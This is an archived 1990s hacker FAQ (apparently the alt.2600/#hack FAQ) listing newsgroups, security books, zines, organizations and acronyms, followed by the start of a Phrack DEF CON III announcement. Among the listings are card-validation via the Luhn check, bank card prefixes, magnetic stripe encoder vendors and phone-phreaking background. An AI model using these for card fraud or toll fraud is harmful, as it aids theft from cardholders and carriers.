alt.security.ripem A secure email system illegal to export from the US
comp.dcom.cellular [no description available]
comp.dcom.telecom Telecommunications digest (Moderated)
comp.dcom.telecom.tech [no description available]
comp.org.cpsr.announce Computer Professionals for Social Responsibility
comp.org.cpsr.talk Issues of computing and social responsibility
comp.org.eff.news News from the Electronic Frontiers Foundation
comp.org.eff.talk Discussion of EFF goals, strategies, etc.
comp.protocols.kerberos The Kerberos authentification server
comp.protocols.tcp-ip TCP and IP network protocols
comp.risks Risks to the public from computers & users
comp.security.announce Announcements from the CERT about security
comp.security.misc Security issues of computers and networks
comp.security.unix Discussion of Unix security
comp.virus Computer viruses & security (Moderated)
de.org.ccc Mitteilungen des CCC e.V.
misc.security Security in general, not just computers (Moderated)
rec.pyrotechnics Fireworks, rocketry, safety, & other topics
rec.radio.scanner [no description available]
rec.video.cable-tv Technical and regulatory issues of cable television
sci.crypt Different methods of data en/decryption
04. What are some telnet sites of interest to hackers?
The Stephen Cobb Complete Book of PC and LAN Security
Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)
Security in Computing
Author: Charles P. Pfleeger
Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.
Building a Secure Computer System
Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York.
Copyright Date:
ISBN: 0-442-23022-2
Modern Methods for Computer Security
Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977
ISBN:
Windows NT 3.5 Guidelines for Security, Audit and Control
Author:
Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9
Unix System Security
~~~~~~~~~~~~~~~~~~~~
Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2
Finally someone with a very firm grasp of Unix system security
gets down to writing a book on the subject. Buy this book.
Read this book.
Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4
Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6
Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4
Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3
Unix Security for the Organization
Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2
Network Security
~~~~~~~~~~~~~~~~
Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7
Not a total waste of paper, but definitely not worth the
$49.95 purchase price. The book is a rehash of previously
published information. The only secret we learn from reading
the book is that Sylvia Moon is a younger woman madly in love
with the older David Stang.
Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7
Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4
Cryptography
~~~~~~~~~~~~
Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2
Bruce Schneier's book replaces all other texts on
cryptography. If you are interested in cryptography, this is
a must read. This may be the first and last book on
cryptography you may ever need to buy.
Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5
Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4
Programmed Threats
~~~~~~~~~~~~~~~~~~
The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0
The original, and still the best, book on computer viruses.
No media hype here, just good clean technical information.
Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1
Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X
The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN:
Telephony
~~~~~~~~~
Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
Copyright Date: 1983
ISBN: 0-932764-04-5
Although hopelessly out of date, this book remains *THE* book
on telephony. This book is 100% Bell, and is loved by phreaks
the world over.
Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9
The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
Copyright Date: 1992
ISBN: 0-8273-4615-8
I find this dictionary to be an excellent reference book on
telephony, and I recommend it to anyone with serious
intentions in the field.
The Phone Book
Author: Carl Oppendahl
Publisher: Consumer Reports
Copyright Date:
ISBN: 0-89043-364-x
Listing of every cellular ID in the us, plus roaming ports,
and info numbers for each carrier.
Principles of Caller I.D.
Author:
Publisher: International MicroPower Corp.
Copyright Date:
ISBN:
Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X
Bruce Sterling has recently released the book FREE to the net.
The book is much easier to read in print form, and the
paperback is only $5.99. Either way you read it, you will be
glad you did. Mr. Sterling is an excellent science fiction
author and has brought his talent with words to bear on the
hacking culture. A very enjoyable reading experience.
Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X
The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9
Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6
Unclassified
~~~~~~~~~~~~
The Hacker's Handbook
Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4
Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5
The Knightmare is no super hacker. There is little or no real
information in this book. The Knightmare gives useful advice
like telling you not to dress up before going trashing.
The Knightmare's best hack is fooling Loompanics into
publishing this garbage.
The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6
Total garbage. Paranoid delusions of a lunatic. Less factual
data that an average issue of the Enquirer.
An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8
10. What are some videos of interest to hackers?
'Unauthorized Access' by Annaliza Savage
$25 on VH S format in 38-min
Savage Productions
1803 Mission St., #406
Santa Cruz, CA 95060
11. What are some mailing lists of interest to hackers?
Academic Firewalls
Reflector Address:
Registration Address: Send a message to majordomo@greatcircle.com
containing the line "subscribe firewalls user@host"
CPSR - Internet Library
Reflector Address: cpsr-library@cpsr.org
Registration Address:
DefCon Announcement List
Reflector Address:
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-announce"
DefCon Chat List
Reflector Address:
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-stuff"
IDS (Intruder Detection Systems)
Reflector Address:
Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au
containing the line "subscribe ids"
Macintosh Security
Reflector Address: mac-security@eclectic.com
Registration Address: mac-security-request@eclectic.com
NeXT Managers
Reflector Address:
Registration Address: next-managers-request@stolaf.edu
Phiber-Scream
Reflector Address:
Registration Address: Send a message to listserv@netcom.com
containing the line "subscribe phiber-scream user@host"
phruwt-l (Macintosh H/P)
Reflector Address:
Registration Address: Send a message to filbert@netcom.com
with the subject "phruwt-l"
Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/oe controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.
Nuts & Volts
~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664
13. What are some e-zines of interest to hackers?
CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo
Empire Times ftp.etext.org /pub/Zines/Emptimes
Phrack ftp.fc.net /pub/phrack
14. What are some organizations of interest to hackers?
Computer Professionals for Social Responsibility (CPSR)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSR empowers computer professionals and computer users to advocate
for the responsible use of information technology and empowers all who
use computer technology to participate in the public debate. As
technical experts, CPSR members provide the public and policymakers
with realistic assessments of the power, promise, and limitations of
computer technology. As an organization of concerned citizens, CPSR
directs public attention to critical choices concerning the
applications of computing and how those choices affect society.
By matching unimpeachable technical information with policy
development savvy, CPSR uses minimum dollars to have maximum impact
and encourages broad public participation in the shaping of technology
policy.
Every project we undertake is based on five principles:
* We foster and support public discussion of and public
responsibility for decisions involving the use of computers in
systems critical to society.
* We work to dispel popular myths about the infallibility of
technological systems.
* We challenge the assumption that technology alone can solve
political and social problems.
* We critically examine social and technical issues within the
computer profession, nationally and internationally.
* We encourage the use of computer technology to improve the quality
of life.
CPSR Membership Categories
75 REGULAR MEMBER
50 Basic member
200 Supporting member
500 Sponsoring member
1000 Lifetime member
20 Student/low income member
50 Foreign subscriber
50 Library/institutional subscriber
CPSR National Office
P.O. Box 717
Palo Alto, CA 94301
415-322-3778
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu
Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.
Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.
The Electronic Frontier Foundation, Inc.
666 Pennsylvania Avenue S.E., Suite 303
Washington, D.C. 20003
+1 202 544 9237
+1 202 547 5481 FAX
Internet: eff@eff.org
Free Software Foundation (FSF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GNU
~~~
The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits. Some of us are programmers, who worry
that such monopolies will obstruct our work. Some of us are users,
who want new computer systems to be compatible with the interfaces we
know. Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.
"Look and feel" lawsuits aim to create a new class of government-
enforced monopolies broader in scope than ever before. Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.
We in the League hope to prevent these problems by preventing
user-interface copyright. The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.
Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others. We appreciate activists, but
members who cannot contribute their time are also welcome.
To contact the League, phone (617) 243-4091, send Internet mail to the
address league@prep.ai.mit.edu, or write to:
League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA
SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society. By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.
SotMesc maintains the CSP Internet mailing list, the SotMesc
Scholarship Fund, and the SotMesc Newsletter.
The SotMESC is financed partly by membership fees, and donations, but
mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.
SotMesc memberships are $20 to students and $40 to regular members.
SotMESC
P.O. Box 573
Long Beach, MS 39560
Computer Emergency Response Team (CERT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CERT is the Computer Emergency Response Team that was formed by the
Defense Advanced Research Projects Agency (DARPA) in November 1988 in
response to the needs exhibited during the Internet worm incident.
The CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts, to
take proactive steps to raise the community's awareness of computer
security issues, and to conduct research targeted at improving the
security of existing systems.
CERT products and services include 24-hour technical assistance for
responding to computer security incidents, product vulnerability
assistance, technical documents, and seminars. In addition, the team
maintains a number of mailing lists (including one for CERT
advisories) and provides an anonymous FTP server: cert.org
(192.88.209.5), where security-related documents, past CERT
advisories, and tools are archived.
CERT contact information:
U.S. mail address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
U.S.A.
Internet E-mail address
cert@cert.org
Telephone number
(412)268-7090 (24-hour hotline)
CERT Coordination Center personnel answer
7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
emergencies during other hours.
FAX number
(412)268-6989
15. Where can I purchase a magnetic stripe encoder/decoder?
CPU Advance
PO Box 2434
Harwood Station
Littleton, MA 01460
(508)624-4819 (Fax)
Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL 60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)
Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)
Alltronics
2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067
Atalla Corp
San Jose, CA
(408) 435-8850
16. What are the rainbow books and how can I get them?
Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria
Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline
Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific
Environments
Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements. Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.
Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems
Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors
Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted
Systems
Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms
Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria
Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems
Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems
Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems
Venice Blue Book
NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria
Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems
Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation
Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document
Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems
Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management
Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals
Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted
Systems
Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems
Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire
Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System
Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria
Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems
Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems
Purple Book
NCSC-TG-024 (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements
Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement
Initiators
Purple Book
NCSC-TG-024 (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial
+Purple Book
+NCSC-TG-024 (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors
Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information
Systems
Hot Peach Book
NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems
Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems
Violet Book
NCSC-TG-028
Assessing Controlled Access Protection
Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation
Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems
C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment
*C Technical Report 79-91
*Integrity in Automated Information Systems
*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion
NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline
--
You can get your own free copy of any or all of the books by writing
or calling:
INFOSEC Awareness Division
ATTN: X711/IAOC
Fort George G. Meade, MD 20755-6000
Barbara Keller
(410) 766-8729
If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).
[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[ be available]
Section D: 2600
~~~~~~~~~~~~~~~
01. What is alt.2600?
Alt.2600 is a Usenet newsgroup for discussion of material relating to
2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600
game machine. Len@netsys.com created the group on Emmanuel
Goldstein's recommendation. Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to
alt.2600, an alt.atari.2600 was created to divert all of the atari
traffic from alt.2600. Atari 2600 people are advised to hie over to
rec.games.video.classic.
02. What does "2600" mean?
2600Hz was a tone that was used by early phone phreaks (or
phreakers) in the 80's, and some currently. If the tone was sent down the
line at the proper time, one could get away with all sorts of fun stuff.
A note from Emmanuel Goldstein:
"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone. The 2600 hertz tone was simply the first
step towards exploring the network. If you were successful at
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure. 800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers. This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute. Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."
03. Are there on-line versions of 2600 available?
No.
04. I can't find 2600 at any bookstores. What can I do?
Subscribe. Or, let 2600 know via the subscription address that you
think 2600 should be in the bookstore. Be sure to include the
bookstores name and address.
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
A note from Emmanuel Goldstein:
We've been selling 2600 at the same newsstand price ($4) since 1988
and we hope to keep it at that price for as long as we can get away
with it. At the same time, $21 is about the right price to cover
subscriber costs, including postage and record keeping, etc. People
who subscribe don't have to worry about finding an issue someplace,
they tend to get issues several weeks before the newsstands get
them, and they can take out free ads in the 2600 Marketplace.
This is not uncommon in the publishing industry. The NY Times, for
example, costs $156.50 at the newsstands, and $234.75 delivered to your
door.
Phrack Magazine is one of the longest running electronic-based publications
in the world. Originally founded in 1985 by Knight Lightning and Taran
King, it has survived several incarnations of editors and still remains
true to its underground roots. Since its inception, Phrack has been
providing the hacker community with information on operating systems,
networking technologies and telephony, as well as relaying human interest
features of interest to the international computer underground.
During its lifetime, Phrack has always been at the center of controversy.
Since the magazine has always been openly available, it presented law
enforcement officials with what they percieved to be a direct link into
the secret society of computer hackers. Not truly understnding either
the the spirit of the magazine or the community for which it was written,
Federal Agents and Prosecutors began to target Phrack Magazine and those
affiliated with it.
"The Hacker Crackdown" by Bruce Sterling relays the details surrounding
some of these events.
Phrack Magazine is now in its 10th year of publication, and is registered
with the Library of Congress as ISSN 1068-1035, and is protected by
US Copyright Law.
02. How can I reach Phrack Magazine?
You can reach Phrack by email at: phrack@well.com, phrack@fc.net or
phrackmag@aol.com. These addresses are listed in order of
preference. Only AOL users should email the phrackmag@aol.com.
Phrack can be reached by the postal service at:
Phrack Magazine
603 W. 13th #1A-278
Austin, TX 78701
03. Who Publishes Phrack?
Phrack Magazine is published by Chris Goggans, aka Erik Bloodaxe. It is
hobbled together, touched up, spell checked and compressed on an overworked
486-66. It is then ftp'ed over to a BSDI UNIX machine where it is sent to
the masses.
04. How Often Does Phrack Go Out?
Phrack goes out roughly quarterly. It is often sent out later than every
three months due to other more demanding obligations faced by its editor.
The regularity of Phrack is really based upon the amount of information
sent in. Phrack depends solely upon submissions to get published at all.
05. How Do I Subscribe?
To subscribe to Phrack magazine, merely email phrack@well.com and ask to
be placed on the mailing list.
Any encrypted subscriptions requests will be ignored.
Phrack will not accept subscription requests from any anonymous remailers or
from sites in the fidonet domain. The anonymous remailers consistently
bounce our mailings causing a big headache, so we won't use them. The
fidonet domain administrators have asked us not to mail Phrack to fido users,
because of the huge load it places on their outgoing spools (costing them a
lot of money to send).
06. Why Don't I Get Any Response When I E-mail Phrack?
Because of the high volume of mail sent to the Phrack email address,
not everyone gets a response. All subscription requests are saved and
added to the master list, but there is no automatic reply. All other
messages are responded to as they are read, with the exception of PGP'd
messages. All PGP'd email is stored for later decryption, and is almost
never responded to, unless it is incredibly urgent.
07. Does Phrack Cost Money?
Phrack Magazine charges a registration fee of $100.00 per user for any
professional use of the magazine and the information contained therein.
Information regarding this registration fee is contained at the beginning
of every issue of Phrack.
08. How Can I Submit Articles?
Articles are both wanted and needed. Phrack only exists if people write
for it. There is no regular writing staff, there is only the editor, who
cannot write the entire thing himself.
Articles can be sent to Phrack via email or snailmail (on paper or
IBM-compatible diskette). Articles should be in ASCII text format. Do
not include any clever graphics or ANSI art. You can use Phrack's PGP key
to encrypt articles, but send the files in the ASCII armor format.
Please try to avoid sending files as MIME-compliant mail attachments.
09. What Is Phrack's PGP Key?
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6
mQCNAizMHvgAAAEEAJuIW5snS6e567/34+nkSA9cn2BHFIJLfBm3m0EYHFLB0wEP
Y/CIJ5NfcP00R+7AteFgFIhu9NrKNJtrq0ZMAOmiqUWkSzSRLpwecFso8QvBB+yk
Dk9BF57GftqM5zesJHqO9hjUlVlnRqYFT49vcMFTvT7krR9Gj6R4oxgb1CldAAUR
tBRwaHJhY2tAd2VsbC5zZi5jYS51cw==
=evjv
-----END PGP PUBLIC KEY BLOCK-----
10. Where Can I Get Back Issues?
Back issues of Phrack are found on many bulletin boards around the globe.
The only OFFICIAL Phrack Magazine distribution site is our ftp archive
at ftp.fc.net in /pub/phrack. There are NO official distribution sites
other than this one, nor will there ever be. We don't want to play
favorites and let one particular BBS call itself an "official" site while
another isn't. Therefore, there will be no "official" sites except those
archived by Phrack itself.
This URL allows users to view issues online, or pull them down for
later viewing.
Any users without net access can send diskettes and postage to the
Phrack Postal Address given above, and request back issues to be
sent via the postal system.
Section F: Miscellaneous
~~~~~~~~~~~~~~~~~~~~~~~~
01. What does XXX stand for?
TLA Three Letter Acronym
ACL Access Control List
PIN Personal Identification Number
TCB Trusted Computing Base
ALRU Automatic Line Record Update
AN Associated Number
ARSB Automated Repair Service Bureau
ATH Abbreviated Trouble History
BOC Bell Operating Company
BOR Basic Output Report
BOSS Business Office Servicing System
CA Cable
COE Central Office Equipment
COSMOS Computer System for Main Frame Operations
CMC Construction Maintenance Center
CNID Calling Number IDentification
CO Central Office
COCOT Customer Owned Coin Operated Telephone
CRSAB Centralized Repair Service Answering Bureau
DDD Direct Distance Dialing
ECC Enter Cable Change
LD Long Distance
LMOS Loop Maintenance Operations System
MLT Mechanized Loop Testing
NPA Numbering Plan Area
POTS Plain Old Telephone Service
RBOC Regional Bell Operating Company
RSB Repair Service Bureau
SS Special Service
TAS Telephone Answering Service
TH Trouble History
TREAT Trouble Report Evaluation and Analysis Tool
LOD Legion of Doom
HFC Hell Fire Club
TNO The New Order
ACiD Ansi Creators in Demand
CCi Cybercrime International
FLT Fairlight
iCE Insane Creators Enterprise
iNC International Network of Crackers
NTA The Nocturnal Trading Alliance
PDX Paradox
PE Public Enemy
PSY Psychose
QTX Quartex
RZR Razor (1911)
S!P Supr!se Productions
TDT The Dream Team
THG The Humble Guys
THP The Hill People
TRSI Tristar Red Sector Inc.
UUDW Union of United Death Workers
02. How do I determine if I have a valid credit card number?
Credit cards use the Luhn Check Digit Algorithm. The main purpose of
this algorithm is to catch data entry errors, but it does double duty
here as a weak security tool.
For a card with an even number of digits, double every odd numbered
digit and subtract 9 if the product is greater than 9. Add up all the
even digits as well as the doubled-odd digits, and the result must be
a multiple of 10 or it's not a valid card. If the card has an odd
number of digits, perform the same addition doubling the even numbered
digits instead.
03. What bank issued this credit card?
1033 Manufacturers Hanover Trust
1035 Citibank
1263 Chemical Bank
1665 Chase Manhattan
4024 Bank of America
4128 Citicorp
4209 New Era Bank
4302 HHBC
4310 Imperial Savings
4313 MBNA
4317 California Federal
5282 Wells Fargo
5424 Citibank
5410 Wells Fargo
5432 Bank of New York
6017 MBNA
04. What are the ethics of hacking?
An excerpt from: Hackers: Heroes of the Computer Revolution
by Steven Levy
Access to computers -- and anything which might teach you
something about the way the world works -- should be unlimited
and total. Always yield to the Hands-On imperative.
All information should be free.
Mistrust Authority. Promote Decentralization.
Hackers should be judged by their hacking, not bogus criteria
such as degrees, age, race, or position.
You can create art and beauty on a computer.
Computers can change your life for the better.
04. Where can I get a copy of the alt.2600/#hack FAQ?
Get it on FTP at:
rahul.net /pub/lps
rtfm.mit.edu /pub/usenet-by-group/alt.2600
ftp.clark.net /pub/jcase
Get it from these BBS's:
Hacker's Haven (303)343-4053
EOT
==Phrack Magazine==
Volume Six, Issue Forty-Seven, File 9 of 22
-----BEGIN PGP SIGNED MESSAGE-----
DEF CON III Convention Update #1.31 (04.04.95)
August 4-6th 1995 @ the Tropicana in Las Vegas
XXXXXXXXXXXXXXXXXXXXXXXX XX DEF CON III Initial Convention Announcement
XXXXXXXxxxxXXXXXXXXXXXXXXX XX DEF CON III Initial Convention Announcement
XXXXXXxxxxxxXXXXXX X X DEF CON III Initial Convention Announcement
XXXXXxxxxxxxxXXXXXXX X DEF CON III Initial Convention Announcement
XXXXxxxxxxxxxxXXXX XXXXXXXXX DEF CON III Initial Convention Announcement
XXXxxxxxxxxxxxxXXXXXXXXXX X DEF CON III Initial Convention Announcement
XXxxxxxxxxxxxxxxXXXXXX XX X DEF CON III Initial Convention Announcement
XXXxxxxxxxxxxxxXXXXXXXX DEF CON III Initial Convention Announcement
XXXXxxxxxxxxxxXXXXXXXX X XX DEF CON III Initial Convention Announcement
XXXXXxxxxxxxxXXXXXXXXXX XX X DEF CON III Initial Convention Announcement
XXXXXXxxxxxxXXXXXXXXX X DEF CON III Initial Convention Announcement
XXXXXXXxxxxXXXXXXXXXXXXXXX DEF CON III Initial Convention Announcement
XXXXXXXXXXXXXXXXXXXXXXXXXXXX X DEF CON III Initial Convention Announcement
This is _not_ the professional sounding announcement. Use that one to con
your boss / employers out of the cost of the trip. The professional
announcement will be available on the FTP site and other more serious mailing
lists and news groups, etc. This is the k-RaD kriminal shout out to all u
el1te hacker types that aren't in jail to attend 'da def con. werd.
What's this? This is an initial announcement and invitation to DEF CON III,
a convention for the "underground" elements of the computer culture. We try
to target the (Fill in your favorite word here): Hackers, Phreaks, Hammies,
Virii Coders, Programmers, Crackers, Cyberpunk Wannabees, Civil Liberties
Groups, CypherPunks, Futurists, Artists, Criminally Insane, Hearing Impaired.
WHO: You know who you are, you shady characters.
WHAT: A convention for you to meet, party, and listen to some speeches
that you would normally never get to hear from some k-rad people.
WHEN: August 4, 5, 6 - 1995 (Speaking on the 5th and 6th)
WHERE: Las Vegas, Nevada @ The Tropicana Hotel
So you heard about DEF CON II, and want to hit part III? You heard about the
parties, the info discussed, the bizarre atmosphere of Las Vegas and want to
check it out in person? You want to do weird shit _away_ from the hotel
where you can't get me in trouble? Then you're just the person to attend!
Sure it's great to meet and party with fellow hackers, but besides that we
try to provide information and speakers in a forum that can't be found at
other conferences. While there is an initial concern that this is just
another excuse for the evil hackers to party and wreak havoc, it's just
not the case. People come to DEF CON for information and for making
contacts. We strive to distinguish this convention from others in that
respect. Plus this year we have official DEF CON GOONS(c) who will pummel
you until you pass out should you cause problems for other con.friendly
people! Big Brother loves you!
What's been said (Only the good stuff will be quoted, of course)
Stevyn - "What can eye say, it was intense! . . . the whole con just
kicked ass! I totally recommend you check out the next one."
